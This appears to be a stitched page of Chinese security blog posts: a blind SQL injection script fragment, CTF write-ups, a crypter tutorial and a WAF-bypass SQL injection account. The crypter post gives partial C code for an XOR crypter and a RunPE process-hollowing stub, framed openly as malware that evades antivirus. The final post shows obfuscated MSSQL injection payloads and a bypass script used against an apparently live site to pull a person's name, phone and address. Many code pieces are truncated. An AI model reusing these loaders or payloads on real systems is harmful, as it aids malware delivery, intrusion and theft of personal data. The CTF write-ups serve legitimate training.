而如果猜第一个字符为0x01,则为false,if返回0 所以我们可以通过大量的运算时间做延迟,进行时间盲注。 但服务器进程在接到客户端传送过来的SQL语句时,不会直接去数据库查询。服务器进程把这个SQL语句的字符转化为ASCII等效数字码,接着这个ASCII码被传递给一个HASH函数,并返回一个hash值,然后服务器进程将到shared pool中的library cache(高速缓存)中去查找是否存在相同的hash值。如果存在,服务器进程将使用这条语句已高速缓存在SHARED POOL的library cache中的已分析过的版本来执行,省去后续的解析工作,这便是软解析。 所以多次查询rpad('a',5000000,'a') regexp concat(repeat('(a.*)+',30),'b')后将不再延迟,所以对rpad()的5000000需要每次自减1 脚本来自http://www.plasf.cn import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)) r = r.replace('0x', '') result = result+r return '0x'+result url = "http://sqlblind.com/index.php" tables = "abcdefghijklmnopqrstuvwxyz0123456789-_}{" result = "" for i in range(1, 50): for j in tables: if j == "{" or timeout:设定超时时间,秒为单位在设定时间内没有返回内容则返回一个timeout异常 若是3秒内没有返回内容则返回timeout异常,即字符正确,打印输出
各位有所不知,前几天我举办了一次CTF竞赛...
2021年,我们热血开局! 1月的最后一周,我们再次见证了成长与历练。 时间:2021/1/26-1/28 事件:蚁景杯 WUST CTF2021新生赛 蚁景杯 WUST CTF2021新生赛:武汉科技大学俱乐部2021首场CTF竞赛,WEB、PWN、 MISC、CRYPTO、REVERSE五大题型迎接新生来战! 比赛为期三天,一方面考验着参赛队员的耐力值;题目类型涵盖面较广,在考验新生“学习情况”方面下足了“猛料”。 武汉科技大学俱乐部,因为热爱聚集到一块,学习从0到1的过程,响应号召,依然极客前行!
神秘的加密工具
我一直认为,在黑客世界里,加密技术是一种很神秘的艺术,是一种很隐晦的东西,我们可以查找资料来进行研究。当然,它在黑客世界中已经变得非常普遍,尤其是在2013年和2014年推出了Veil-Evasion和shellter工具。在这篇文章中,我将详细介绍加密工具的类型以及它们在底层的工作原理,然后展示低级代码层面上一些鲜为人知的技术。在阅读完这篇文章后,我希望大家最终能对这些玩意儿的工作原理以及它们在计算机世界中的地位和作用有一定程度的了解。 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=14804a13-fea8-4bcf-a928-a71a40e7cfa4 (通过本实验,了解RC4加密技术) 稍微声明一下:有些材料可能不适合初学者,因为它们需要相当多的Windows底层的知识。包括以下很多技术。 掌握 C/C++ 熟悉WinAPI 和对应的文档 熟悉基础的加密知识 熟悉PE文件的结构 熟悉 Windows 虚拟内存 熟悉进程和线程  密码学的两个方面 当我们谈起对于密码学的印象时,我们经常会想到 "这是一种处理信息的手段,防止信息被泄露出去"。我们大多数人都把它看成是一种防御机制,其应用的目的在于确保信息的安全,阻止恶意的攻击。当然,我们很清楚这一点,因为它被发明出来的唯一目的就是保护数据,然而,正如我们很快就会看到的那样,密码学的功能已经远远不止这些。 如果我们使用传统的密码学来进行恶意攻击,即设计恶意软件,利用密码学提供的优势。这些类型的恶意软件在现代已经非常普遍,包括勒索软件和非对称后门等,它们主要涉及公钥密码学。  反病毒机制 为了能够设计出绕过杀毒软件的方式,我们必须首先要明白杀毒软件的杀毒方式。我将简单介绍一下杀毒软件检测应用程序采用的两种主要方法。 基于签名的检测 顾名思义,基于签名的检测是一种将应用程序的签名与相应的已知恶意软件的数据库进行交叉参考匹配的技术。这是预防和遏制之前出现过的恶意软件的有效措施。 基于启发式检测 虽然基于签名的检测可以防止大多数以前已知的恶意软件,但它也有缺点,因为恶意软件作者可以针对这种方法添加保护措施,如使用多态和变形代码等。基于启发式的检测会监控应用程序的行为和特征,并将其与已知的恶意行为进行匹配。请注意,只有在应用程序正在运行的情况下才会进行这种检测。 当然,杀毒软件要比这个高级很多。由于这已经超出了文章讨论的范围,也超出了我的理解范围,所以这里不会涉及这些信息。 加密技术简介 加密器是被设计用来保护文件内部信息的软件,并且在执行后,用解密程序提取后能够完整地提供信息。请注意,虽然加密器可以被用于恶意目的,但它也主要用于混淆数据,防止对软件逆向工程。在本文中,我们将重点讨论恶意使用的情况。那么,这是如何工作的呢?让我们先来了解密码器的各部分,看一下它们的作用。 加密器负责对目标对象进行加密。  +-------------+ +-----------+ +-------------------+ +--------+ | Your file | -> | Crypter | => | Encrypted file | + | Stub | +-------------+ +-----------+ +-------------------+ +--------+ +------------------+ +--------+ +---------------+ | Encrypted file | + | Stub | = Execution => | Original File  扫描时加密器 这些类型的加密器由于能够加密磁盘上的数据而被称为扫描时加密器,杀毒软件可以对文件进行扫描,例如基于签名的检测。在这一阶段,只要应用的混淆技术是足够强大的,杀毒软件将永远无法检测到任何恶意活动。 运行时加密器 这些加密器将加密技术提升到了一个新的水平,能够在内存中运行时根据需要对数据进行加密。通过这样做,能够使恶意软件在杀毒软件作出反应之前加载和执行。在这个阶段,一个应用程序可以快速地运行它的有效载荷并达到它的目标。但是恶意软件完全有可能在执行阶段触发杀毒软件的基于启发式的检测策略,所以恶意软件作者应该小心。 现在我们已经介绍了高层次的内容,那么我们就来看看这两种类型的实例。 编写扫描时间加密器 扫描时加密器是两者中比较简单的,因为它不需要虚拟内存和进程/线程的知识。本质上,stub会对文件进行处理,把它放到磁盘上的某个地方,然后执行它。下面记录了一个扫描时加密器的设计。 注意:为了简洁和可读性,内容将不包含错误检查。 加密器和stub伪代码 1.检查是否有命令行参数 +-> 2. 如果有命令行参数,则作为加密器对文件进行加密处理 | 3. 打开目标文件 | 4. 读取文件内容 | 5. 对文件内容进行加密 | 6. 创建一个新文件 | 7. 将加密后的文件写入新文件 | 8. 結束 | +-> 2. 如果没有命令行参数,则作为stub 3. 打开加密文件 4. 读取文件内容 5. 解密文件内容 6. 创建一个临时文件 7. 将解密后的内容写入临时文件 8. 执行文件 9. 完成 这个设计方案在同一个可执行文件中同时实现了加密器和stub,我们可以这样做,是因为这两个操作非常相似。下面用代码来介绍一下设计方案。 首先,我们需要定义main和两个条件,这两个条件定义了是执行加密器还是stub。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine } return EXIT_SUCCESS; } 由于我们将应用程序设计成了窗口应用程序,我们不能像通常基于控制台的应用程序中那样检索 argc 和 argv,但是微软提供了使用 argc 和 argv的解决方案。如果命令行参数 __argv[1] 存在,应用程序将尝试对指定的文件进行加密,否则,它将尝试解密一个被加密的文件。 接下来是加密程序,我们需要 __argv[1] 来指定文件的句柄和它的大小,这样我们就可以把它的字节复制到一个缓冲区中进行加密。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine // open file to crypt HANDLE hFile = CreateFile(__argv[1], FILE_READ_ACCESS, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); // get Crypt函数主要是将文件内容读入到一个缓冲区中,然后对其进行加密,然后返回一个指向缓冲区的指针。 LPVOID Crypt(HANDLE hFile, DWORD dwFileSize) { // allocate buffer for file contents LPVOID lpFileBytes = malloc(dwFileSize); // read the file into the buffer ReadFile(hFile, lpFileBytes, dwFileSize, NULL, NULL); // apply XOR encryption int i; for (i = 0; i < dwFileSize; i++) { *((LPBYTE)lpFileBytes  现在我们有了加密的字节,我们需要创建一个新的文件,然后将这些字节写入其中。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine } else { // crypter routine ... // get crypted file name in current directory CHAR szCryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szCryptedFileName); strc 加密器部分差不多就是这些了。注意,我们使用了一个简单的XOR来加密文件的内容,如果我们能够获得密钥,这种方案的安全性可能是不够的。如果我们想更加安全,我们可以使用其他的加密方案,如RC4或(x)TEA。我们不需要完整的加密算法,因为我们的目的是为了避免基于签名的检测,因此这么做完全是矫枉过正。保持文件小而简单最重要。 让我们继续进入stub例程。对于stub程序,我们要检索当前目录下的加密文件,然后将解密后的内容写入一个临时文件中进行执行。  我们首先要得到当前的要处理的文件,然后打开文件,得到文件大小。  int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine // get target encrypted file CHAR szEncryptedFileName[MAX_PATH]; GetCurrentDirectory(MAX_PATH, szEncryptedFileName); strcat(szEncryptedFileName, "\\"); strcat(szEncr  和加密器例程差不多。接下来,我们要读取文件内容,并得到解密后的字节。由于XOR操作恢复了给定的公共位的值,我们可以简单地重用Crypt函数。之后,我们需要创建一个临时文件,并将解密后的字节写入其中。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // decrypt and obtain decrypted bytes LPVOID lpFileBytes = Crypt(hFile, dwFileSize); CloseHandle(hFile); // get file in temporary directory CHAR szTempFileName[MA 最后,我们需要执行解密后的应用程序。 int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { if (__argc < 2) { // stub routine ... // execute file ShellExecute(NULL, NULL, szTempFileName, NULL, NULL, 0); } else { // crypter routine } return EXIT_SUCCESS; } 请注意,一旦解密后的应用程序被写入磁盘,它很有可能被杀毒软件的基于签名的检测方式检测出来,因此这样有可能捕获大多数的恶意软件。正因为如此,恶意软件的作者需要编写即使他们的应用程序在这种情况下仍然能够执行的功能。 扫描时加密器就到此为止。  编写一个运行时加密器 对于运行时加密器,我的文章只涉及stub,因为它还包括更复杂的过程,所以我们将假设应用程序已经被加密。这些加密器使用一种叫做RunPE的流行技术。它的工作原理是stub先解密应用程序的加密字节,然后模拟Windows加载器,将它们推送到暂停进程的虚拟内存空间中。这个过程完成后,stub将把暂停的进程恢复运行。 注意:为了简洁和可读性,我将不包含错误检查。 stub伪代码  1. Decrypt application 2. Create suspended process 3. Preserve process's thread context 4. Hollow out process's virtual memory space 5. Allocate virtual memory 6. Write application's header and sections into allocated memory 7. Set modified thread context 8. Resume process 9. Finish  我们可以看到,这需要相当多的Windows内部知识,包括PE文件结构、Windows内存操作和进程/线程的知识。我强烈建议读者在理解这些知识的基础上来理解下面的材料。 首先,让我们在main中设置两个例程,一个用于解密被加密的应用程序,另一个用于将其加载到内存中执行。 APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { Decrypt(); RunPE(); return EXIT_SUCCESS; } Decrypt函数实现方式完全依赖于用于应用程序的加密方式,这里是一个使用XOR的示例代码。 VOID Decrypt(VOID) { int i; for (i = 0; i < sizeof(Shellcode); i++) { Shellcode[i] ^= Key[i % sizeof(Key)]; } } 现在,应用程序已经被解密,让我们来看看神奇的地方。在这里,我们通过检查DOS和PE签名来验证该应用程序是否是一个有效的PE文件。 VOID RunPE(VOID) { // check valid DOS signature PIMAGE_DOS_HEADER pidh = (PIMAGE_DOS_HEADER)Shellcode; if (pidh->e_magic != IMAGE_DOS_SIGNATURE) return; // check valid PE signature PIMAGE_NT_HEADERS pinh = (PIMAGE_NT_HEADERS)((DWORD)Shellcode + pidh->e_lfanew); if (pinh->Signature != IMAGE_NT_SIGNAT  现在,我们将创建暂停的进程。 VOID RunPE(VOID) { ... // get own full file name CHAR szFileName[MAX_PATH]; GetModuleFileName(NULL, szFileName, MAX_PATH); // initialize startup and process information STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); ZeroMemory(&pi, sizeof(pi)); // required to set size of si.cb 注意,szFileName可以是任何可执行文件的完整路径,如explorer.exe或iexplore.exe,但在本例中,我们将使用stub的文件。CreateProcess函数将在暂停状态下创建一个指定文件的子进程,这样我们就可以根据自己的需要来修改它的虚拟内存内容。 VOID RunPE(VOID) { ... // obtain thread context CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL; GetThreadContext(pi.Thread, &ctx); } 现在我们清空进程的虚拟内存区域,这样我们就可以为应用程序分配自己的运行空间。为此,我们需要一个函数,而这个函数对我们来说并不是现成的,因此我们需要一个函数指针,指向一个从ntdll.dll 文件中动态检索内容的函数。 typedef NTSTATUS (*fZwUnmapViewOfSection)(HANDLE, PVOID); VOID RunPE(VOID) { ... // dynamically retrieve ZwUnmapViewOfSection function from ntdll.dll fZwUnmapViewOfSection pZwUnmapViewOfSection = (fZwUnmapViewOfSection)GetProcAddress(GetModuleHandle("ntdll.dll"), "ZwUnmapViewOfSection"); // hollow p 由于被暂停的进程在其虚拟内存空间内有自己的内容,我们需要从内存中对它进行解映射,然后分配我们自己的内容,这样我们就有访问权限来加载我们的应用程序的映像。我们将通过WriteProcessMemory函数来实现。首先,我们需要像Windows加载器一样,先写头文件,然后分别写每个部分。这一部分需要对PE文件结构有一个全面的了解。  VOID RunPE(VOID) { ... // write header WriteProcessMemory(pi.hProcess, (LPVOID)pinh->OptionalHeader.ImageBase, Shellcode, pinh->OptionalHeader.SizeOfHeaders, NULL); // write each section int i; for (i = 0; i < pinh->FileHeader.NumberOfSections; i++) { // calculate and get ith section PIMAGE_SECTION 现在一切就绪,我们只需修改上下文的切入点地址,然后恢复暂停的线程。 VOID RunPE(VOID) { ... // set appropriate address of entry point ctx.Eax = pinh->OptionalHeader.ImageBase + pinh->OptionalHeader.AddressOfEntryPoint; SetThreadContext(pi.hThread, &ctx); // resume and execute our application ResumeThread(pi.hThread); } 现在,应用程序已经开始在内存中运行,希望杀毒软件不会检测到它。
进入网站后台找flag
这次的题目是进入网站后台找flag,题目地址:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID9d6c0ca797abec2016092313250000001& 首先打开题目网页,内容如下:简单的字母提示和一个明显的按钮。 点击按钮,左上角页面出现提示:Only Member with Admin rights is allow to enter。意思是只能以管理员身份进入网站后台。 用brupsuit抓包,看看数据包的发送情况: 返回的数据包中设置了cookie的值,Member的值经过了base64加密。在burpsuite的decoder模块解码——>输入Tm9ybWFs——>Decode as ——>Base64: 然后根据页面的提示,把Admin进行base64加密,得到得到QWRtaW4=,构造这样一个请求包,发送。  然后再Intercept中将Member的值换成上面加密的值,并点击Forward发送。 出现flag 实验总结: 主要用到bursuite抓包分析数据,还有base64的加密和解密。 Base64密文有如下特点: - 字符串只可能包含A-Z,a-z,0-9,+,/,=字符  - 字符串长度是4的倍数  - =只会出现在字符串最后,可能没有或者一个等号或者两个等号
CTF-Web拿到key的小技巧
本关实验地址为:& 预备知识 HTTP协议,报文的组成部分等,请参考https://yijinglab.com/expc.do?ec=ECID172.19.104.182015121711544400001<>以及简单的js脚本编写能力。 打开服务器上的网页然后看到进入第一关的按钮,点一下。 跳到第一关,只有一些文字,那么我们不多BB,直接查看源代码。 源代码中有个注释,要删除1.php.bak,我们直接在地址栏中输入试试。 然后来到了这个页面,和第一关的页面差不多,但是多了一些奇怪的符号,还是看一下源代码吧。 源代码中给出了第二关的地址,直接访问。 进入到第二关后,出来一个输入框和按钮,然后提示点击进入第三关,那么我们点一下 出现了诡异的提示,我们注意到第三关的页面是3rd.php。点击提示的确定后,又退回到第二关了。 此事必有蹊跷。特别是这个输入框,能让我有插它的冲动,写个alert看看能不能xss。 <script>alert(1)</script> 竟然弹框了,好激动好兴奋的样子。 那么我们构造一个a标签来戳进去。<a href="3rd.php"></a> 发现不行,构造出的连接闪一下就没了。 那么我们用【某种方式】重定向吧。 <script>window.location="3rd.php"</script> 成功绕过验证,点击就能进入下一关了。 这和前面也差不多,就是只有一些文字。查看源代码也没有收获,那我们看看能否从文字中获得关键信息 既然说是在眼皮底下,那我们就看看眼皮吧,查看一下HTTP原始请求包和返回包,发现在返回的报文中有个Next字段,提供了下一关的页面。             那么按照提示,点完按钮就结束了吧。 可是鼠标放到按钮上,按钮就不见了。 我们使用审查元素看一下,原来使用了display:none,将其改为display:block按钮就出来了。 但是鼠标悬停还是没有了,看一下上面的joy脚本,原来就是这个脚本隐藏了按钮。 那么我们删除这个按钮的onmouseover="joy()",果然出现  点击按钮,找到key。
CTF-小游戏解密俄罗斯方块
本次实验操作地址:& 进入实验环境,打开题目地址,发现是个俄罗斯方块的游戏,尝试先玩了几局,但是并没有什么用,玩游戏就能获得flag?感觉不太靠谱,看看有没有别的思路。 我们先分析这个游戏服务,这是一个web的游戏,那么我们在浏览器的开发者工具中,对网络请求进行分析,发现我们对目标进行访问时,并没有实质性的后台请求: 所以基本可以断定,这是一个前台页面的游戏,游戏的运行、计分都是由js脚本来支持的,所以我们找到了请求中仅有的js页面代码: 这个js混淆过,所以需要先美化,也就是js代码的格式化。经过分析,会发现,当游戏分数达到既定的条件时,js代码会在页面的头部中添加urlkey字段,值为“webqwer”[1]+“100.js”,即为“webqwer”的第2个字母与“100.js”拼接为“e100.js”。 也是一个js文件,我们尝试直接访问,可以下图下图所示的内容,这是jsfuck编码: jsfuck编码是可以直接在控制台运行的,我们复制粘贴到控制台,但是我们直接可以用google浏览器,f12打开开发者工具,然后将编码粘贴到console中,内容过多,环境可能卡顿,耐心等待: 粘贴完成之后,回车就可运行,页面就会弹出flag: 最后填写一下答案,完成。
记一次面试bypass宝塔+安全狗的手注
前言 最近在准备找工作,有一家公司给我发来了这样一条消息,于是有了这篇文章. 本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001  (本实验以PHP和mysql为环境,简单展示了SQL的发生原理和利用过程,通过显错注入和盲注的对比,更直观展现注入的不同利用方法。) 因本文是bypass成功后,才写的可能会缺少一些图.(耗费本菜鸡半天时间,因为之前都是mysql搞的多,还有就是sqlmap一把梭.差点把传统手艺都丢了.) 大意了,没有闪 拿到目标后,我就迫不及待的直接打开 打开地址一看是报错的,我还以为任务是需要通过信息收集拿到shell,最后再拿数据.我还在想开局就送个信息泄漏? 最后折腾一番之后发现没什么突破口.回来再看之前的地址发现又能访问了. 大意了,没有闪 最后看到界面是这样的(能打开完全靠运气,特别是在晚上) 看到这个界面后,我就知道,原来是想测老夫的sql注入? 我当时心想不会用sqlmap一把梭就进去了吧! 注入点识别 随即我就先用'试试注入点 /1.aspx?id=1%27 继续试试and 1=1 /1.aspx?id=1%20%27and%201=1 好小子,居然有狗小小的一条就能难到我?打开burp,开始手注 bypass宝塔+安全狗 直接把请求改为post,试试垃圾数据填充能不能bypass 生成垃圾数据 好小子,还有个宝塔waf,看来垃圾数据填充已经不好用了 再试试分块传输bypass 还是一样(对分块传输没什么研究,和一些数据库特性结合应该还是可以用的,不是本文的重点) 接下来,开始fuzz 试试不带select 发现可以,继续试试,user和db_name() 这说明宝塔和狗都是对select 后面跟值进行拦截 我们继续试试联合查询union 不出所料还是一样,这两兄弟好搭档啊,换着来.由于本文重点是在学习手注入和bypass下面开始bypass,我这边打算写个payload混淆工具bypass 在写工具前我们得知道bypass的常用手法有哪些吧? 我这边大概整理了有如下几种 利用服务器特性 利用数据库特性 利用WAF特性 所以为了更好的bypass,我们就得了解对这些特性有一定的了解,因为我的当前目标是iis+aspx,那我们就得了解一下iis和mssql特性来进行bypass iis特性 下面摘自 bypass大佬的waf攻防实战笔记 1、%特性(ASP+IIS) 在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来 的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。 Ps.此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。 2、%u特性(asp+iis和aspx+iis) Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的 s%u006c%u0006ect ,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是 s%u006c%u0006ect,这样就会形成bypass的可能。 3、另类%u特性(ASP+IIS) 该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有 可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。s%u0065lect->select s%u00f0lect->selectWAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。常见三个关键字(union+select+from)的测试情况: s%u0045lect = s%u0065lect = %u00f0lectu --> %u0055 --> %u0075n -->%u004e --> %u006ei -->%u0049 --> %u0069o -->%u004f --> %u006f -->%u00bas -->%u0053 --> %u0073l -->%u004c --> %u006ce -->%u0045 --> %u0065-->%u00f0c -->%u0043 --> %u0063t -->%u0054 -->%u0074 -->%u00de -->%u00fef -->%u0046 -->%u0066r -- mssql特性 空白字符 Mssql可以利用的空白字符有(需要在字符前面加%): 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 注释符 注释符可以用来代替空格,或者和--配合使用,--也可以配合%0a(注释加换行) /**/--/**anything*/ 特殊数值 一般用在注入点上 如1.1或者1E0这些 运算符 下面摘自 404大佬的MSSQL_SQL_BYPASS_WIKI +   加法运算-   减法运算*   乘法运算/   除法运算,如果两个表达式值都是整数,那么结果只取整数值,小数值将略去%   取模运算,返回两数相除后的余数 &   位与逻辑运算,从两个表达式中取对应的位。当且仅当输入表达式中两个位的值都为1时,结果中的位才被设置为1,否则,结果中的位被设置为0|   位或逻辑运算,从两个表达式中取对应的位。如果输入表达式中两个位只要有一个的值为1时,结果的位就被设置为1,只有当两个位的值都为0时,结果中的位才被设置为0^   位异或运算,从两个表达式中取对应的位。如果输入表达式中两个位只有一个的值为1时,结果中的位就被设置为1;只有当两个位的值都为0或 当我们了解完这些特性之后,直接开干,随即就打开了老夫的pycharm 下面直接省略测试过程的图片,大家可以手工测也可以用intruder来跑.fuzz是个漫长的过程,我这里只可以大家提供思路 先把空白字符和注释定义出来(经测试发现+也有同等效果) 1.先把所有的空格都用注释替换 2.对and和where进行处理,在它们前后随机加空白符,用来混淆这两个关键字 3.利用iis特性对下面这几个关键字某个字符用unicode编码替换 4.对下面这几个符合进行处理, 1.在某些函数会被拦截用+()来bypass 2.查询某某库的某某表如admin.user会被拦截,用+.来bypass 5.最后拓展下payload接收.最终代码如下 import random def bypass(payload):    chars1 = ['%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0A', '%0B', '%0C', '%0D', '%0E', '%0F',              '%10', '%11','%12', '%13', '%14', '%15', '%16', '%17', '%18', '%19', '%1A', '%1B', '%1C', '%1D', '%1E',              '%1F', '%20']     已经打包上传github 地址:https://github.com/safe6Sec/bypassWAF 然后就可以愉快的手注了 mssql手注 从前期的来看,该注入点支持union注入和报错注入.我这边采用报错注入. 用union注入需要知道当前表有几列(和mysql一样用order by判断),还需要回显点 用报错注入主要是用top命令配合not in来进行注入 爆库(mssql默认有四个库,我们需要加个条件,dbid>4) and (SELECT top 1 Name FROM Master..SysDatabases where dbid>4)>0 这样只是爆出第一个库,爆别的还需用not in来配合排除已知的表 用union联合查询结果如下(列数量要和当前表一致,没有的列用null占位) union SELECT null,null,null,Name,null,null,null,null FROM Master..SysDatabases 从上面的数据可以看出,只有一个数据库 继续爆表 and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0)>0 第一张表为a999,用not in排除这张表继续爆其他的 and (select top 1 name from a999.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('a999'))>0 以此内推 最后得了下面这些表 'dtproperties','a999','wap_album','wap_albumre','admin','wap_bankLog','wap_bbs','wap_bbs_MarkSix','wap_bbs_MarkSix_bet','D99_CMD','temp','wap_background' 直觉告诉我数据很有可能是在a999(从名字上判断) 直接爆字段,和爆表一样的操作 and 1=(select top 1 name from syscolumns whereid=(select id from sysobjects where name = 'a999') ) 得到了这些字段 'id','siteid','airplaneid','airplanename','userid','username','num','tel','address','starttime','content','remark','addtime','state' 他们要的数据是:序号10的 那栏信息。包含 名字 电话 地址 开始跑数据 and 1=(select top 1 username from a999 where id=10) 然后继续把剩下的电话地址跑出来,上交收工. fuzz真是挺废时间了,本文是在bypass成功后所写.过程耗费太多时间没截图,思路都告诉大家了.结合起来用即可. 或者会有大佬想说为什么不,写个tamper来跑, 最后感谢404和bypass大佬的文章,小弟受益良多. 总结 不要光说不做,实操才是真理 对waf的bypass也就那样,把规则搞清楚了就很简单,免杀也如此 union注入比报错注入香多了